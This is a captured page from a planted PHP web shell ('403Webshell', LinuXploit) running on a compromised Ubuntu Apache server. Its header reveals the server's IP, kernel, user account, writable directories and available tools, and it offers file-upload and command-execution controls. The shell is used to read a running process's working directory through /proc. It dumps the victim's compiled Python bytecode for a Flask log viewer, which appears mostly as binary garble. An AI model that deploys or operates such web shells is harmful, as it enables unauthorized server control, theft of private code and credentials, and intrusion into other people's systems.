403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.216.170
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/698958/task/737413/cwd/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/698958/task/737413/cwd/__pycache__/app.cpython-312.pyc
�

G ^j�E�	�H�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
mZddlm
Z
mZmZmZmZmZmZddlZddlZddlmZmZmZmZmZmZmZdZdZgd�Z d	�Z!e!ejDjGejDjIejDjKe&��d
��e
e'�Z(ejRjUd�xsejVd�e(_,ejRjUd
d�Z-ejRjUdd�Z.d�Z/e(jadddg��d��Z1e(jad�d��Z2d�Z3d�Z4d�Z5d�Z6d�Z7d�Z8d�Z9d�Z:e(jad �e/d!���Z;e(jad"�e/d#���Z<e(jad$�e/d%���Z=e(j}d&�d'��Z?e(j}d(�d)��Z@e(j�d*�d+��ZBd,�ZCd-�ZDe'd.k(reD�yy)/a�A small local viewer for the parsed AI-crawler data.

Start it with ./run.sh, then open http://127.0.0.1:8765

This binds to 127.0.0.1 only, so nothing outside this machine can reach it. The
raw events contain visitor IPs and browsed URLs, so every page requires login.
S3 is read server-side with your AWS credentials; the browser never talks to
AWS and never sees a credential.

Read-only by construction: this app only ever calls GetObject/ListObjectsV2.
�N)�date�	timedelta)�Flask�Response�redirect�render_template�request�session�url_for)�	AI_GROUPS�
ALL_GROUPS�
GROUP_INFO�GROUP_LABELS�bot_info�category_for�platforms_by_group�d�
latest_day))rz
Latest Day)�	this_weekz	This Week)�
this_monthz
This Month)�
last_monthz
Last Month)�last_90zLast 90 Days)�customzCustom Date Rangec���tjj|�syt|�5}|D]�}|j	�}|r|jd�sd|vr�+|j
dd�\}}tjj|j	�|j	�j	d�j	d����	ddd�y#1swYyxYw)zDMinimal .env reader -- avoids a dependency for six lines of parsing.N�#�=��"�')	�os�path�exists�open�strip�
startswith�split�environ�
setdefault)r!�fh�line�key�vals     �)/var/www/bsd-crawler-parser/viewer/app.py�load_envr.2s���
�7�7�>�>�$���	
�d��R�r��	R�D��:�:�<�D��4�?�?�3�/�3�d�?���z�z�#�q�)�H�C���J�J�!�!�#�)�)�+�s�y�y�{�/@�/@��/E�/K�/K�C�/P�Q�	R�R�R�R�s�BC�Cz.env�
SECRET_KEY� �VIEWER_USER��VIEWER_PASSWORDc�B��tj���fd��}|S)Nc���tjd�s$ttdtj
���S�|i|��S)N�user�login)�next)r
�getrrr	�	full_path)�a�kw�fns  �r-�wrapperzlogin_required.<locals>.wrapperIs5����{�{�6�"��G�G�'�2C�2C�D�E�E��1�|��|��)�	functools�wraps)r=r>s` r-�login_requiredrBHs%����_�_�R������Nr?z/login�GET�POST)�methodsc�
�d}tjdk(r�tjjdd�}tjjdd�}t	j
|t�xrt	j
|t�}|rhtrbtr\|td<tjjd�xstd�}|jd�std�}t|�Sd	}td
|��S)NrD�usernamer2�passwordr6r8�overview�/zWrong username or password.z
login.html)�error)r	�method�formr9�hmac�compare_digest�USERNAME�PASSWORDr
�argsrr%rr)rKr6�pw�ok�dests     r-r7r7Qs����E��~�~����|�|���
�B�/��
�\�\�
�
�j�"�
-���!�!�$��1�4��%�%�b�(�3�	�
�(�x�"�G�F�O��<�<�#�#�F�+�B�w�z�/B�D��?�?�3�'��z�*���D�>�!�-���<�u�5�5r?z/logoutc�R�tj�ttd��S)Nr7)r
�clearrr�r?r-�logoutrYcs���M�M�O��G�G�$�%�%r?c��tj�}|rtj|d�Stj�S)z�'Today' means the newest day we have data for, not the wall clock.

    The parser runs nightly, so the calendar is usually ahead of the data. A
    preset anchored on the wall clock would show an empty page every morning.
    r)�s3data�available_datesr�
fromisoformat�today)�datess r-�_todayr`ks4��
�"�"�$�E�+0�4���e�A�h�'�B�d�j�j�l�Br?c�0�|dk(r||fS|dk(r|t|j���z
|fS|dk(r|jd��|fS|dk(r5|jd��}|td��z
}|jd��|fS|dk(r|td	��z
|fSy
)z*(start, end) for a named preset, as dates.rr��daysrr)�dayrr�YN)r�weekday�replace)�preset�anchor�
first_this�	last_prevs    r-�
_preset_rangerlus���
����v�~��
����	�v�~�~�'7�8�8�&�@�@�
����~�~�!�~�$�f�,�,�
����^�^��^�*�
����!2�2�	�� � �Q� �'��2�2�
����	�r�*�*�F�2�2�r?c�d�tj�}|s
tddgfStjjdd�}|t
t�vrFtjjd�stjjd�rdnt}|dk(r�tjjd�}tjjd�xs|d}|s�	tj|�}tj|d�}t|td	�
�z
|�j�}n7t|t��\}}|j�|j�}}|||tj ||�fS#t$rtj|d�}Y��wxYw)z�(preset, start, end, days) from the query string.

    `days` only ever contains dates we actually hold data for, so a preset that
    reaches back before the data starts simply yields fewer days.
    Nrhr2�start�endrr����rb)r[r\�DEFAULT_PRESETr	rRr9�dict�PRESETSrr]�
ValueError�maxr�	isoformatrlr`�dates_in_range)r_rhrnrori�earliest�lo�his        r-�_selected_ranger|�sc��
�"�"�$�E���t�T�2�-�-�
�\�\�
�
�h��
+�F�
�T�'�]�"�%�l�l�.�.�w�7�7�<�<�;K�;K�E�;R���	������� � ��)���l�l���u�%�1��q����

6��+�+�C�0���)�)�%��)�4�H�����!2�2�H�=�G�G�I�E��v�v�x�0���B��\�\�^�R�\�\�^�s���5�#�v�4�4�U�C�@�@�@���
6��+�+�E�!�H�5��
6�s�%F�!F/�.F/c��tjjd�dk(rtt�Stt
�S)z>Which groups to show. Default: all AI, no conventional search.�include_search�1)r	rRr9�listr
rrXr?r-�_groups_from_requestr��s/���|�|���(�)�S�0��J����	�?�r?c�^�tjjd�}|r|ddk7Sddk7S)a�Default ON: hide assets, APIs, robots.txt and scanner probes.

    An unticked checkbox sends nothing at all, which is indistinguishable from
    a fresh page load -- and this defaults ON, so "sent nothing" must not mean
    "on". The filter form pairs the checkbox with a hidden content=0 that comes
    first, so an unticked box submits just "0" while a ticked one submits
    "0","1". Hence: read the LAST value, not the first (request.args.get would
    return the "0" and the box would never turn on).
    �contentrpr�0)r	rR�getlist)�valuess r-�
_content_onlyr��s3���\�\�
!�
!�)�
,�F� �F�2�J�c�1�1�c�c�1�1r?c��|r|ttj��vr|Stj|�j	||�S)a�Accept either an install (canonical) or a vhost (older links).

    `site=` used to mean the vhost, so bookmarked and shared links carry things
    like site=allmandlaw.com. Those now match no install, and a filter that
    matches nothing renders a confident, wrong "0 hits". Map a known vhost onto
    its install instead. An unrecognised value is passed through untouched so it
    still filters to nothing rather than silently widening to everything.
    )�setr[�tracked_installs�domain_to_installr9)�sitercs  r-�
_resolve_siter��s?���4�3�v�6�6�8�9�9����#�#�D�)�-�-�d�D�9�9r?c
�~�t�\}}}}t�}|||||d|vt�ttj
j
dd�j�|�tj
j
dd�j�tj
j
dd�j�d�
S)z1Everything the two pages and the export agree on.�searchr�r2�platform�q)
rhrnrorc�groupsr~�content_onlyr�r��	url_query)r|r�r�r�r	rRr9r$)rhrnrorcr�s     r-�_filtersr��s���.�0��F�E�3��
!�
#�F��5��d��H��,>�%���g�l�l�.�.�v�r�:�@�@�B�D�I��L�L�$�$�Z��4�:�:�<��\�\�%�%�c�2�.�4�4�6�
�r?c
��tj�tttt
t|d|d|d|d|d|dd�S)zTemplate vars every page needs.rhrnrorcr~r�)r_�presets�group_labels�
group_info�
all_groupsrrhrnrorcr~r�)r[r\rtrrr
r)�fs r-�_sharedr��sP���'�'�)�g�$�J� �h��H�+��'�
�1�U�8��&�	�Q�/?�-@��.�)�
�r?rJc
�J�t�}|d}tj|d�}i}|D]P\}}|jdi�j	�D](\}}||vs�t||jd��||<�*�Ri}i}	|dritj|d|d��\}
}|
j	�D]+\}}|j|�xst|�}
||
d�||<�-t|�}	�n%tj|d�}|D�]\}}|jdi�j	�D]A\}}||}
|
|vr�|j|d	|
d��}|d
xx|jd
d	�z
cc<�C|jdi�j	�D]z\}}|j||�}|jdi�j	�D]@\}}|j|�xst|�}
|
|vr�)|	j|d	�|z|	|<�B�|��
|D�cic]}|d	��}}i}|j	�D]%\}}|d|vr||dxx|d
z
cc<�!|||<�'t|j��}ttj��t|	�z}tj|d�}|D�cgc]q}tj ||j|t���|	j|d	�tj"||j|t���|d
���s}}|j%d���t'	dd
|it)|j	�d���|td�|D��t+|�||d�t-|���Scc}wcc}w)Nr�rc�by_platform�categoryr�T�r�r�)�hits�grouprr��by_siter�)�namer��extra�installc��|d|dfS)Nr�r�rX)�rs r-�<lambda>zoverview.<locals>.<lambda><s��1�V�9�*�a��i�!8�r?)r+c��|ddS)Nrr�rX)�kvs r-r�zoverview.<locals>.<lambda>As��"�Q�%��-��r?c3�,K�|]}|ds�	d���y�w)r�rNrX)�.0r�s  r-�	<genexpr>zoverview.<locals>.<genexpr>Cs����>�!�A�f�I�A�>�s�
�)�totals�
platform_rows�	site_rows�sites_with_hits�
sites_tracked�group_totals�stranded)z
overview.html)r�r[�	summariesr9�itemsr�rolluprsr�r(�sumr�r�r��install_domains�sites�display_name�extra_domain_count�sortr�sorted�lenr�)r�r��docs�
plat_group�_�doc�plat�infor��
by_install�plats�installsr��grp�
to_install�rowr�r��gr�r��
total_hits�tracked�domains�ir�s                          r-rIrI�s���	�
�A�
�x�[�F����A�f�I�&�D��J��L���3��'�'�-��4�:�:�<�	L�J�D�$��:�%�#/��d�h�h�z�6J�#K�
�4� �	L�L�
�K��J����!�-�-��&�	�&�t�T���x��+�+�-�	=�J�D�$��.�.��&�<�,�t�*<�C�)-�� <�K���	=��(�^�
��-�-�a��i�8�
��
	L�F�A�s�!�g�g�m�R�8�>�>�@�
3�
��d� ��&���f�$��!�,�,�T�A��3L�M���F��t�x�x���2�2��
3�"�g�g�i��4�:�:�<�
L�
��d�$�.�.��t�4��"&�(�(�=�"�"=�"C�"C�"E�L�J�D�$�$�.�.��.�D�,�t�2D�C��&�(� �*4�.�.��!�*D�t�*K�J�w�'�	L�
L�
	L�$#)�)�Q�A�q�D�)�L�)��H� �&�&�(�!�	��c��w�<�<�'���W��&�#�f�+�5�&�
!�H�T�N�!��\�(�(�*�+�J��&�)�)�+�,�s�:��>�G��$�$�Q�v�Y�/�G���
��&�&�q�'�+�+�a���*?�@��N�N�1�a�(��-�-�a����Q���1F�G��		
��I���N�N�8�N�9���	��
�#��[�.�.�0�6O�P���>�y�>�>��'�l�!�H�	��!�*�	�	��A*��&s
�
N�>A6N z/detailc��t�}	tdttjjdd���}tj|d|dr|dgnd|dr|dgnd|d|d|d�	�\}}}}tdtj|tz��}t||�}t	d||dz
tz|tz|||||d|d|dtttj |d��|dr|dhn	t�z�t#�tj$�d
�t'|���S#t$rd}Y��wxYw)Nr�pagercr�r�r�r�r��r��	platformsr�r�r�)�rows�totalr��pages�by_groupr�r�r��	all_sitesr�cache)zdetail.html)r�rv�intr	rRr9rur[�query�math�ceil�PER_PAGE�minrr�r��	sites_forr�cache_statsr�)r�r�r�r�r�r�r�s       r-�detailr�Jsc��	�
�A���1�c�'�,�,�*�*�6�1�5�6�7�� &�|�|�	�&�	��&�	�!�F�)��t�%&�z�]�1�Z�=�/����{�a��n��~�&�	 ��D�%��1�
��4�9�9�U�X�-�.�/�E��t�U��D����
�4�!�8�x�'����
9��$�e�h�
�v�Y��:��!�K�.���V�-�-�a��i�8�9�A�f�I�a��i�[�[^�[`�a�b�-�/�� � �"���!�*���������s�3E	�	E�Ez/export.csvc� �t�}tj|d|dr|dgnd|dr|dgnd|d|d|d��\}}}}tj�}tj|�}|jgd	��|D]�}|j|tj|tj|tjtj|tj|tj�|tj|tjg���d
|dxsdg}|d
r"|d
|dk7r|j!d|d
z�|dr|j!|d�|dr|j!|d�|ds|j!d�|dr|j!d�dj#|�dz}t%|j'�j)d�dd|zt+|�d���S)z?The currently-filtered rows, all of them -- not just this page.rcr�Nr�r�r�r�r�)�
timestamp_utcr��ai_platformr��url�status_codezai-crawler-hitsrn�allrozto-r~zai-onlyz
content-pages�-z.csvz	utf-8-sigztext/csvzattachment; filename="%s")zContent-DispositionzX-Row-Count)�mimetype�headers)r�r[r��io�StringIO�csv�writer�writerow�TS�SITE�PLATFORMrr9�GROUP�URL�STATUS�append�joinr�getvalue�encode�str)	r�r�r�r��buf�wr��bitsr�s	         r-�
export_csvrks���	�
�A����	�&�	��&�	�!�F�)��t�%&�z�]�1�Z�=�/����{�a��n��~�&�	��D�%��A�
�+�+�-�C��
�
�3��A��J�J�Y�Z�
�6��	�
�
�A�f�i�i�L�!�F�K�K�.�!�F�O�O�2D� �$�$�Q�v�|�|�_�a����o�F��f�j�j�M�1�V�]�]�#3�5�	6�6�

�q��z�2�U�3�D���x�A�e�H��'�
�*����E�A�e�H�$�%���y����A�f�I����}����A�j�M�"��
�����I��������O�$��8�8�D�>�F�"�D��������k�*��(C�d�(J� #�E�
�,��r?�commafyc�f�	djt|��S#ttf$r|cYSwxYw)Nz{:,})�formatr��	TypeErrorru)�ns r-rr�s3����}�}�S��V�$�$���z�"�����s��0�0�
prettytimec�N�|xsdjdd�jdd�S)Nr2�T� �Z)rg)�tss r-rr�s&���H�"���c�3�'�/�/��R�8�8r?�keepc	���t�}|d|d|d|d|d|d|drdnd	|d
rd	ndd�}|j|�|j�D��cic]
\}}|d
vs�||��c}}Scc}}w)zHCurrent filters as a query dict, with overrides. Keeps links consistent.rhrnror�r�r�r~rr2r�r�)rhrnror�r�r�r~r�)Nr2)r��updater�)�overr��out�k�vs     r-r
r
�s���	�
�A��x�[�1�W�:�a��h��V�9�!�J�-�a��n�$%�&6�$7�S�R��n�-�b�3�8�C��J�J�t�� �Y�Y�[�@�T�Q��A�Z�,?�A�q�D�@�@��@s�A0�'A0c���	t�}tt|�\}}tj|j�|j��}tj|�tj|�tj|tt�d��tdtjdd�z�y#t$r}td|z�Yd}~yd}~wwxYw)ajLoad the default range into cache in the background at startup.

    "This week" is a few days, which is ~30s of S3 reads the first time. Doing
    it here means that cost lands while you are still typing your password,
    rather than on your first click into the detail table. Best-effort only: if
    it fails, the page just loads it on demand as before.
    Tr�z  (cached %s, ready)r�r
z  (prewarm skipped: %s)N)r`rlrrr[rxrwr�r�r�r�r�printrg�	Exception)rirzr{rc�excs     r-�_prewarmr�s���	/�����~�v�6���B��$�$�R�\�\�^�R�\�\�^�D���������������T�$�y�/��E�
�$�~�'=�'=�c�3�'G�G�H���/�
�'�#�-�.�.��/�s�CC�	C$�C�C$c���trtstd��tj�\}}|s tdtj
�d|�d���t
tjjdd��}td|z�tdtz�td	�tjtd
��j�tj!d|d
��y)NzwNo login configured.
Copy viewer/.env.example to viewer/.env and set VIEWER_USER and VIEWER_PASSWORD, then start again.zCannot read s3://z
  z8
Check your AWS CLI login (aws sts get-caller-identity).�PORT�8765z+
  AI crawler viewer -> http://127.0.0.1:%dz  Log in as: %sz  Stop with Ctrl-C
T)�target�daemonz	127.0.0.1F)�host�port�debug)rPrQ�
SystemExitr[�check_access�BUCKETr�r r'r9r�	threading�Threadrrn�app�run)rT�msgrs   r-�mainr)�s����8��
1�
�	
�
�!�!�#�G�B��
��IO���X[�
]�
�	
��r�z�z�~�~�f�f�-�.�D�	�
8�4�
?�@�	�
�h�
&�'�	�
 �!�
���H�T�2�8�8�:��G�G��4�u�G�5r?�__main__)E�__doc__r�r@rNr�r�r �secretsr$�datetimerr�flaskrrrrr	r
rr[r��
categoriesrr
rrrrrr�rrrtr.r!r��dirname�abspath�__file__�__name__r&r'r9�	token_hex�
secret_keyrPrQrB�router7rYr`rlr|r�r�r�r�r�rIr�r�template_filterrr�template_globalr
rr)rXr?r-�<module>r9sX��
����	��	���$������D�D�D�������
R�	������b�g�g�o�o�b�g�g�o�o�h�&?�@�&�	I�J��H�o��������-�F�1B��1B�1B�2�1F���
�:�:�>�>�-��,��
�:�:�>�>�+�R�0������8�e�V�_��-�6�.�6�"���9��&��&�C��""A�J�2�:��	����3���[���[�|���9�������>���=���%���%�T���Y��� �����\�"�9�#�9����V��A��A�/�(6�*�z���F�r?

Youez - 2016 - github.com/yon3zu
LinuXploit